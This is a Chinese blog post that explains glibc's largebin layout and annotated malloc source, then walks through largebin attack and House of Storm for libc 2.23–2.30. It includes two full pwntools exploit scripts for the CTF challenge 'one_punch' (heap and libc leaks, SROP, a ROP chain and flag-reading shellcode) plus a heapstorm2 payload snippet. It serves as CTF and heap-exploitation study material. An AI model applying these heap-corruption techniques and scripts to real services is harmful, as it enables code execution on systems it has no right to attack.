About Largebin

About Largebin

这篇把之前看的合一下。。。

(搞这么细干嘛,费时.....

Largebin 结构

largebin管理的是一个范围区间的堆块,同一size区间内的chunk连至一个main_arena_largebin_index,其中不同size头部之间通过fd_nextsize横向双向相连,相同size通过fd纵向双向相连。

size index
[0x400 , 0x440) 64
[0x440 , 0x480) 65
[0x480 , 0x4C0) 66
[0x4C0 , 0x500) 67
[0x500 , 0x540) 68
等差 0x40
[0xC00 , 0xC40) 96
[0xC40 , 0xE00) 97
[0xE00 , 0x1000) 98
[0x1000 , 0x1200) 99
[0x1200 , 0x1400) 100
[0x1400 , 0x1600) 101
等差 0x200
[0x2800 , 0x2A00) 111
[0x2A00 , 0x3000) 112
[0x3000 , 0x4000) 113
[0x4000 , 0x5000) 114
等差 0x1000
[0x9000 , 0xA000) 119
[0xA000 , 0x10000) 120
[0x10000 , 0x18000) 121
[0x18000 , 0x20000) 122
[0x20000 , 0x28000) 123
[0x28000 , 0x40000) 124
[0x40000 , 0x80000) 125
[0x80000 , …. ) 126

c代码及图示例

横向+纵向的双向链表

下图c源码:

#gcc -g largebin.c -o large
#include<stdio.h>

int main()
{
    char *gap;

    char *ptr0=malloc(0x400-0x10); //A
    gap=malloc(0x10);
    char *ptr1=malloc(0x410-0x10); //B
    gap=malloc(0x10);
    char *ptr2=malloc(0x420-0x10); //C
    gap=malloc(0x10);
    char *ptr3=malloc(0x430-0x10); //D
    gap=malloc(0x10);
    char *ptr4=malloc(0x400-0x10); //E
    gap=malloc(0x10);
    char *ptr5=malloc(0x410-0x10); //F
    gap=malloc(0x10);
    char *ptr6=malloc(0x420-0x10); //G
    gap=malloc(0x10);
    char *ptr7=malloc(0x430-0x10); //H
    gap=malloc(0x10);

    free(ptr2); //C
    free(ptr3); //D
    free(ptr0); //A
    free(ptr1); //B
    free(ptr7); //H
    free(ptr6); //G
    free(ptr5); //F
    free(ptr4); //E

    malloc(0x440); //trigger that sort largebin from unsorted bin to largebins

    return 0;
}

从unsorted_bin中整理到largebin的结果图:

部分源码

放入large_bin 情况:

(从unsortedbin 整理后)

else//在large bin 的范围
    {
        victim_index = largebin_index(size);//获取size对应的large bin的index
        bck = bin_at(av, victim_index);// **bck指向size对应的large bin的bin堆头(index)**
        fwd = bck->fd;//fwd指向size对应的large bin的最大的chunk
        
        //如果large bin 非空,在largbin进行按顺序插入
        if (fwd != bck) {
            /* Or with inuse bit to speed comparisons */
            size |= PREV_INUSE;
            assert((bck->bk->size & NON_MAIN_ARENA) == 0);//默认不启用assert
            /*
            	large bin中的chunk是按从大到小排列的,如果size < large bin 
            	的最后一个chunk,说明size是这个large bin中的最小的,直接把它
            	加入到此large bin尾部。
            */
            if ((unsigned long) (size) < (unsigned long) (bck->bk->size)) {
                
                fwd = bck;     
                bck = bck->bk; //原本size最小的chunk
           		//因为size不等,故横向插入在该bin的末尾,所以赋值next_size
                victim->fd_nextsize = fwd->fd;
                victim->bk_nextsize = fwd->fd->bk_nextsize;
                //最大size的chunk的bk_nextsize,和原来最小chunk的fd_nextsize都指向victim
                fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
            } 
            else //如果victim不是large bin 中最小的chunk
            {
                assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
                //从大到小(从头到尾)找到合适的位置(刚好大于的时候或等于)
                while ((unsigned long) size < fwd->size) {
                    fwd = fwd->fd_nextsize;
                    assert((fwd->size & NON_MAIN_ARENA) == 0);
                }
				//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
                if ((unsigned long) size == (unsigned long) fwd->size)
                    fwd = fwd->fd;
                else 
                {
                    //size不相等,即size>fwd->size,把victim加入到bin链表中
                    victim->fd_nextsize = fwd;
                    victim->bk_nextsize = fwd->bk_nextsize;
                    /*if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");对largebin的fd_nextsize,bk_nextsize的check*/
                    fwd->bk_nextsize = victim;
                    victim->bk_nextsize->fd_nextsize = victim;
                }
                bck = fwd->bk;
                /*if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");*/
            }
        } 
        else //如果large bin 为空,直接将victim加入到bin中
        	victim->fd_nextsize = victim->bk_nextsize = victim;
    }

    //#define mark_bin(m, i)    ((m)->binmap[idx2block (i)] |= idx2bit (i))
    mark_bin(av, victim_index); //把victim加入到的bin的表示为非空
    //把victim加入到large bin的链表中
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;
}
流程小结

1.根据要插入的chunk的大小找到对应largebin的index,并定位该index中的最小的chunk bck 和最大的chunk fwd

2.如果fwd == bck,表面当前index的largebin为空,则直接插入进bin中并设置为堆头,并给bk_nextsizefd_nextsize赋值为该chunk本身。

3.如果fwd != bck,表明当前index的largebin不为空,则要寻找当前chunk对应的位置并进行插入。首先判断其大小是否小于最小chunk的size size < bck->bk->size,如果小于则说明该chunk为当前index对应的largebin链表中最小的chunk,直接插至bin末尾即可,无需遍历链表,只需给新chunk(纵向的堆头)的next_size块进行赋值。

4.如果当前chunk不是该index中的最小size,则从大到小(从头到尾)通过fd_nextsize开始遍历该index的largebin,直到找到小于或等于要插入的chunk的size。

5.如果找到的chunk的size等于要插入的chunk的size,及该纵向链表已经有第一块chunk头了,直接插入到其后面即可。并将bk,fd段赋值为bin中相邻的chunk。

6.如果找到的chunk的size小于要当前要插入的chunk的size,则将其作为chunk头(堆头)插到largebin里面,并赋值其fd_nextsize,bk_nextsize。

注意:放入时,libc2.23无对largebin的指针和size检查。

从largebin取出情况:

 /*
         If a large request, scan through the chunks of current bin in
         sorted order to find smallest that fits.  Use the skip list for this.
       */
      if (!in_smallbin_range (nb))
        {
          bin = bin_at (av, idx); //找到申请的size对应的largebin链表

          /* skip scan if empty or largest chunk is too small */
          if ((victim = first (bin)) != bin &&
              (unsigned long) (victim->size) >= (unsigned long) (nb)) //第一步,判断链表的第一个结点,即最大的chunk是否大于要申请的size
            {
              victim = victim->bk_nextsize; 
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb))) //第二步,从最小的chunk开始,反向遍历 chunk size链表,直到找到第一个大于等于所需chunk大小的chunk退出循环
                victim = victim->bk_nextsize; 

              /* Avoid removing the first entry for a size so that the skip
                 list does not have to be rerouted.  */
              if (victim != last (bin) && victim->size == victim->fd->size) //第三步,申请的chunk对应的chunk存在多个结点,则申请相应堆头的下个结点,不申请堆头。
                victim = victim->fd;

              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); //第四步,largebin unlink 操作

              /* Exhaust */
              if (remainder_size < MINSIZE) //第五步,如果剩余的空间小于MINSIZE,则将该空间直接给用户
                {
                  set_inuse_bit_at_offset (victim, size);
                  if (av != &main_arena)
                    victim->size |= NON_MAIN_ARENA;
                }
              /* Split */
              else
                {
                  remainder = chunk_at_offset (victim, nb); //第六步,如果当前剩余空间还可以构成chunk,则将剩余的空间放入到unsorted bin中。
                  /* We cannot assume the unsorted list is empty and therefore
                     have to perform a complete insert here.  */
                  bck = unsorted_chunks (av);
                  fwd = bck->fd;
    if (__glibc_unlikely (fwd->bk != bck))
                    {
                      errstr = "malloc(): corrupted unsorted chunks";
                      goto errout;
                    }
                  remainder->bk = bck;
                  remainder->fd = fwd;
                  bck->fd = remainder;
                  fwd->bk = remainder;
                  if (!in_smallbin_range (remainder_size))
                    {
                      remainder->fd_nextsize = NULL;
                      remainder->bk_nextsize = NULL;
                    }
                  set_head (victim, nb | PREV_INUSE |
                            (av != &main_arena ? NON_MAIN_ARENA : 0));
                  set_head (remainder, remainder_size | PREV_INUSE);
                  set_foot (remainder, remainder_size);
                }
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
流程小结

1.找到申请size对应的index的largebin链表头。

2.判断链表的第一个(最大的)chunk是否大于要申请的size;大于则从最小的chunk头开始,顺着bk_nextsize反向遍历,直到找到第一个大于或等于所申请的size。

3.如果找到的chunk头存在结点,则申请堆头的下一个结点(unlink取下)。(减少操作)

4.如果其剩余的空间小于MINSIZE,则直接返回给用户该chunk。

5.否则将剩余的空间构成新的chunk放入unsortedbin中。

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
    FD = P->fd;                     \
    BK = P->bk;                     \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))         \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                      \
        FD->bk = BK;                    \
        BK->fd = FD;                    \
        if (!in_smallbin_range (P->size)              \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {          \
      if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
    || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
        malloc_printerr (check_action,              \
             "corrupted double-linked list (not small)",    \
             P, AV);                \
            if (FD->fd_nextsize == NULL) {              \
                if (P->fd_nextsize == P)              \
                  FD->fd_nextsize = FD->bk_nextsize = FD;         \
                else {                    \
                    FD->fd_nextsize = P->fd_nextsize;           \
                    FD->bk_nextsize = P->bk_nextsize;           \
                    P->fd_nextsize->bk_nextsize = FD;           \
                    P->bk_nextsize->fd_nextsize = FD;           \
                  }                   \
              } else {                    \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;         \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;         \
              }                     \
          }                     \
      }                       \
}
流程小结

1.检查即将unlink的chunk P的size是否等于其下一块chunk的prev_size

2.检查chunk P的fd和bk指针处的chunkbk和fd是否指回自己。(double-linked list)

3.从bk,fd将P脱链。

4.如果P->fd_nextsize不为空,则检查chunk P的fd_nextsize(bk_nextsize)指针的bk_nextsize(fd_nextsize)是否指回自己;如果FD(p->fd)的fd_nextsize为空,即FD为结点,则查看P是否为该largebin的唯一堆头,是则直接给FD的fd_nextsize(bk_nextsize)赋值为FD,否则给FD的nextsize赋值为P的nextsize;不为空,则直接对P的nextsize指针指向的chunk进行修改nextsize位。如果P->fd_nextsize为空,则不检查P的fd(bk)_nextsize,只有fd,bk的检查。

即如果unlink的chunk是largebin中非堆头(结点)chunk,则只会检查fd,bk;不会检查nextsize

largebin attack(libc2.23)

任意地址写入堆地址

libc2.23中放入largebin操作的漏洞点

(无对largebin链的完整性检查)

else //如果victim不是large bin 中最小的chunk
            {
                assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
                //从大到小(从头到尾)找到合适的位置
                while ((unsigned long) size < fwd->size) {
                    fwd = fwd->fd_nextsize;
                    assert((fwd->size & NON_MAIN_ARENA) == 0);
                }

这里插入时根据条件是否去遍历chunk,但并没有检查chunk_size;即若已放入largebin的chunk的size若被修改,则可以绕过此循环。

else 
                {
                    victim->fd_nextsize = fwd;
                    victim->bk_nextsize = fwd->bk_nextsize;
                    fwd->bk_nextsize = victim;
                    victim->bk_nextsize->fd_nextsize = victim;
                }

这里原本是将从unsortedbin中的chunk作为堆头插入到largebin

中,但这里缺少fd(bk)_nextsize的检查,即如果largebin中原有的chunk(fwd)的bk_nextsize被修改为我们设置的内容,则存在(第一处)任意地址被写入堆地址

(set fwd->bk_nextsize=addr-0x20,at last --> addr = victim)

mark_bin(av, victim_index); 
    victim->bk = bck;
    victim->fd = fwd;
    fwd->bk = victim;
    bck->fd = victim;

这里原本是修改chunk的fd,bk的段然后链入largebin。但这里也缺乏对fd,bk的检查。即若原largebin中的chunk(fwd)的bk段被修改,则也存在(第二处)任意地址写入堆地址

(set fwd->bk =addr-0x20,at last,addr = victim)

(以上均考虑的不同size大小)

libc2.23中从largebin取出操作的漏洞点

 if ((victim = first (bin)) != bin &&
              (unsigned long) (victim->size) >= (unsigned long) (nb)) //判断链表的第一个结点,即最大的chunk是否大于要申请的size
            {
              victim = victim->bk_nextsize; 
              while (((unsigned long) (size = chunksize (victim)) <
                      (unsigned long) (nb))) 
                victim = victim->bk_nextsize;  //漏洞点,伪造bk_nextsize

              if (victim != last (bin) && victim->size == victim->fd->size) 
                victim = victim->fd;

              remainder_size = size - nb;
              unlink (av, victim, bck, fwd); 
  
      ... 
      return p;

在申请时会反向遍历链表找到第一个大于所需size的chunk并进行申请相应的chunk。由于确实对bk_nextsize的检查,在其被修改为非预期的内存地址,并且在该地址已经构造好数据从而能通过unlink检查后,用户就可以申请出这块非预期的内存。(通常将伪造的内存空间fd,bk按着smallbin unlink的利用方式设置,nextsize位)

常用于实现overlap chunk 的构造。

小结

  • 在向largebin申请时,伪造largebin的bk_nextsize实现非预期内存申请。

  • 在插入进largebin时,伪造largebin的bk_nextsizebk分别获得两次任意地址写堆地址。

例题:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
#     print(e)

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './one_punch'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
libc = ELF('./libc-2.29.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''

    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def add(index, content):
    sh.sendlineafter('> ', '1')
    sh.sendlineafter('idx: ', str(index))
    sh.sendafter('name: ', content)

def edit(index, content):
    sh.sendlineafter('> ', '2')
    sh.sendlineafter('idx: ', str(index))
    sh.sendafter('name: ', content)

def show(index):
    sh.sendlineafter('> ', '3')
    sh.sendlineafter('idx: ', str(index))
    sh.recvuntil('name: ')
    return sh.recvuntil('\n', drop=True)

def delete(index):
    sh.sendlineafter('> ', '4')
    sh.sendlineafter('idx: ', str(index))

def backdoor(content):
    sh.sendlineafter('> ', '50056')
    time.sleep(0.1)
    sh.send(content)

add(2, 'a' * 0x217)

for i in range(2):
    add(0, 'a' * 0x217)
    delete(0)

result = show(0)
heap_addr = u64(result.ljust(8, '\0')) & 0xfffffffffffff000
log.success('heap_addr: ' + hex(heap_addr))

for i in range(5):
    add(0, 'a' * 0x217)
    delete(0)

delete(2)
result = show(2)
libc_addr = u64(result.ljust(8, '\0')) - 0x1e4ca0
log.success('libc_addr: ' + hex(libc_addr))

length = 0xe0
add(0, 'a' * length)
add(0, 'a' * 0x80)
edit(2, '\0' * length + p64(0) + p64(0x21))
delete(0)
edit(2, '\0' * length + p64(0) + p64(0x31))
delete(0)

edit(2, '\0' * length + p64(0) + p64(0x3a1))
delete(0)

for i in range(3):
    add(1, 'b' * 0x3a8)
    delete(1)

edit(2, '\0' * length + p64(0x300) + p64(0x570) + p64(0) + p64(0) + p64(heap_addr + 0x40) + p64(heap_addr + 0x40))
delete(0)

add(0, 'c' * 0x100 + p64(libc_addr + libc.symbols['__free_hook']) + '\0')

# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax; 
layout = [
    libc_addr + 0x0000000000047cf8, #: pop rax; ret; 
    10,
    libc_addr + 0x00000000000cf6c5, #: syscall; ret; 
    heap_addr + 0x260 + 0xf8,
]
backdoor(p64(libc_addr + 0x000000000012be97) + flat(layout) + '\0')
frame = SigreturnFrame()
frame.rdi = heap_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = libc_addr + libc.symbols['__free_hook'] + 8
frame.rip = libc_addr + 0x55cc4 # ret

shellcode = asm('''
push 0x67616c66 ;// flag
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall

cmp eax, 0
js fail

mov edi, eax
mov rsi, rsp
mov edx, 100
xor eax, eax
syscall ;// read

mov edx, eax
mov rsi, rsp
mov eax, 1
mov edi, eax
syscall ;// write

jmp exit

fail:
mov rax, 0x727265206e65706f ;// open error!
mov [rsp], rax
mov eax, 0x0a21726f
mov [rsp+8], rax
mov rsi, rsp
mov edi, 1
mov edx, 12
mov eax, edi
syscall ;// write


exit:
xor edi, edi
mov eax, 231
syscall 
''')
edit(2, p64(libc_addr + 0x55E35) + p64(heap_addr + 0x260) + str(frame)[0x10:] + shellcode)

delete(2)

sh.interactive()
clear()

balsn

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
host = '52.198.120.1'
port = 48763

r = process('./one_punch')

binary = "./one_punch"
context.binary = binary
elf = ELF(binary)
try:
  libc = ELF("./libc-2.29.so")
  log.success("libc load success")
  system_off = libc.symbols.system
  log.success("system_off = "+hex(system_off))
except:
  log.failure("libc not found !")

def name(index, name):
  r.recvuntil("> ")
  r.sendline("1")
  r.recvuntil(": ")
  r.sendline(str(index))
  r.recvuntil(": ")
  r.send(name)
  pass

def rename(index,name):
  r.recvuntil("> ")
  r.sendline("2")
  r.recvuntil(": ")
  r.sendline(str(index))
  r.recvuntil(": ")
  r.send(name)

  pass

def d(index):
  r.recvuntil("> ")
  r.sendline("4")
  r.recvuntil(": ")
  r.sendline(str(index))
  pass

def show(index):
  r.recvuntil("> ")
  r.sendline("3")
  r.recvuntil(": ")
  r.sendline(str(index))

def magic(data):
  r.recvuntil("> ")
  r.sendline(str(0xc388))
  time.sleep(0.1)
  r.send(data)

# if len(sys.argv) == 1:
#   r = process([binary, "0"], env={"LD_LIBRARY_PATH":"."})

# else:
#   r = remote(host ,port)

if __name__ == '__main__':
  name(0,"A"*0x210)
  d(0)
  name(1,"A"*0x210)
  d(1)
  show(1)
  r.recvuntil(" name: ")
  heap = u64(r.recv(6).ljust(8,"\x00")) - 0x260
  print("heap = {}".format(hex(heap)))
  for i in xrange(5):
    name(2,"A"*0x210)
    d(2)
  name(0,"A"*0x210)
  name(1,"A"*0x210)
  d(0)
  show(0)
  r.recvuntil(" name: ")
  libc = u64(r.recv(6).ljust(8,"\x00")) - 0x1e4ca0
  print("libc = {}".format(hex(libc)))
  d(1)
  rename(2,p64(libc + 0x1e4c30))

  name(0,"D"*0x90)
  d(0)
  for i in xrange(7):
    name(0,"D"*0x80)
    d(0)
  for i in xrange(7):
    name(0,"D"*0x200)
    d(0)



  name(0,"D"*0x200)
  name(1,"A"*0x210)
  name(2,p64(0x21)*(0x90/8))
  rename(2,p64(0x21)*(0x90/8))
  d(2)
  name(2,p64(0x21)*(0x90/8))
  rename(2,p64(0x21)*(0x90/8))
  d(2)



  d(0)
  d(1)
  name(0,"A"*0x80)
  name(1,"A"*0x80)
  d(0)
  d(1)
  name(0,"A"*0x88 + p64(0x421) + "D"*0x180 )
  name(2,"A"*0x200)
  d(1)
  d(2)
  name(2,"A"*0x200)
  rename(0,"A"*0x88 + p64(0x421) + p64(libc + 0x1e5090)*2 + p64(0) + p64(heap+0x10) )
  d(0)
  d(2)

  pause()
  name(0,"/home/ctf/flag\x00\x00" + "A"*0x1f0)
  magic("A")
  add_rsp48 = libc + 0x000000000008cfd6
  pop_rdi = libc + 0x0000000000026542
  pop_rsi = libc + 0x0000000000026f9e
  pop_rdx = libc + 0x000000000012bda6
  pop_rax = libc + 0x0000000000047cf8
  syscall = libc + 0xcf6c5
  magic( p64(add_rsp48))

  name(0,p64(pop_rdi) + p64(heap + 0x24d0) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall) +
      p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(0) + p64(syscall) +
      p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) + p64(1) + p64(syscall)
      )
r.interactive()

House of storm(libc2.23)

house of storm是一个任意可写地址申请漏洞。利用largebin两次写堆地址伪造出来了一个堆块,同时利用unsorted bin attack将该伪造的堆块链接到unsorted bin中,实现任意地址申请。(但利用条件也苛刻)

(ps:含unsortedbin attack 此攻击在libc2.29时就无啦!)

漏洞利用条件

  1. glibc版本小于2.30,因为2.30之后加入了检查
  2. 需要攻击者在 large_binunsorted_bin 中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin 的index中且 unsorted_bin 中的chunk要比 large_bin 中的大
  3. 需要 unsorted_bin 中的 bk指针 可控
  4. 需要 large_bin 中的 bk指针和bk_nextsize 指针可控

控制好的内容:

  • unsorted_chunk->bk = fake_chunk

1.把vicitm从unsorted chunk 移出时:

//我们控制unsorted_chunk->bk = fake_chunk
										(unsortedbin attack)
//unsorted_chunks(av)->bk = fake_chunk(fake_chunk链入unsortedbin)
unsorted_chunks(av)->bk = unsorted_chunk->bk;

//fake_chunk+0x10(fake_fd) = unsorted_bin (fd==bk)
bck->fd = unsorted_chunks(av);
  1. 修改了unsorted_chunks(av)->bk指向fakechunk
  2. 修改了fakechunk的fdunsortedbin_chunks(av) [fd==bk]

2.把unsorted chunk 插入到largebin时:

控制好的内容:

  • large_chunk->bk = fake_chunk+0x8

  • large_chunk->bk_nextsize=fake_chunk-0x18-5

{
unsorted_chunk->fd_nextsize = largbin_chunk;

//unsorted_chunk->bk_nextsize = fake_chunk-0x18-5
unsorted_chunk->bk_nextsize = largbin_chunk->bk_nextsize;

largbin_chunk->bk_nextsize = unsorted_chunk;

//fake_chunk+0x3(fake_size) = unsorted_chunk
unsorted_chunk->bk_nextsize->fd_nextsize = unsorted_chunk;
}

//bck = fake_chunk+0x8
bck = largebin_chunk->bk
unsorted_chunk->bk = bck;
unsorted_chunk->fd = largbin_chunk;
largbin_chunk->bk = unsorted_chunk;

//fake_chunk+0x18(fake_bk) = unsorted_chunk
bck->fd = unsorted_chunk;
  • 修改了fake_chunk的size
  • 修改了fake_chunk的bk

exp示例

例题:0ctf2018heapstorm2

#申请 0x13370800-0x20 这块fake_chunk
fake_chunk = 0x13370800 - 0x20
payload = '\x00' * 0x10 + p64(0) + p64(0x4f1) + p64(0) + p64(fake_chunk)
edit(7, payload) #修改unsorted chunk的bk

payload = '\x00' * 0x20 + p64(0) + p64(0x4e1) + p64(0) + p64(fake_chunk+8) + p64(0) + p64(fake_chunk-0x18-5)
'''*(0x13370800-0x20-0x18-5+0x20)=victim
victim->bk_nextsize->fd_nextsize = victim;
伪造fake_chunk的size位为0x56'''
edit(8, payload) #修改 large chunk 的 bk 和 bk_nextsize
add(0x48)  #2  -> 0x133707e0   成功将申请到了heaparray附近

之所以要求是\x56,因为需要满足一个检查,即chunk的mmap标志位置位:

assert (!mem || chunk_is_mmapped (mem2chunk (mem)) ||
         av == arena_for_chunk (mem2chunk (mem)));

多运行几次即可达到目的。

largebin attack(libc2.30)

前言

由于 glibc-2.29 新上的保护措施,使得 unsorted bin attack 基本已经成为过去式。

从glibc-2.30开始,largebin的插入代码中新增了两个检查:(即增加了largebin双向链表的完整性检查包括fd_nextsize,fd)

            else //如果victim不是large bin 中最小的chunk
            {
                assert((fwd->size & NON_MAIN_ARENA) == 0);//默认不启用assert
                //从大到小(从头到尾)找到合适的位置
                while ((unsigned long) size < fwd->size) {
                    fwd = fwd->fd_nextsize;
                    assert((fwd->size & NON_MAIN_ARENA) == 0);
                }
				//如果size刚好相等,就直接加入到其后面省的改fd_nextsize和bk_nextsize了
                if ((unsigned long) size == (unsigned long) fwd->size)
                    fwd = fwd->fd;
                else 
                {
                    //size不相等,即size>fwd->size,把victim加入到bin链表中
                    victim->fd_nextsize = fwd;
                    victim->bk_nextsize = fwd->bk_nextsize;
                    
                    //						 New check 
                    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");//对largebin的fd_nextsize,bk_nextsize的check
                        
                    fwd->bk_nextsize = victim;
                    victim->bk_nextsize->fd_nextsize = victim;
                }
                bck = fwd->bk;
                
                //							New check
                if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");
            }
        } 

后续再更....

posted @ 2022-03-12 21:42  hyq2  阅读(310)  评论(0编辑  收藏  举报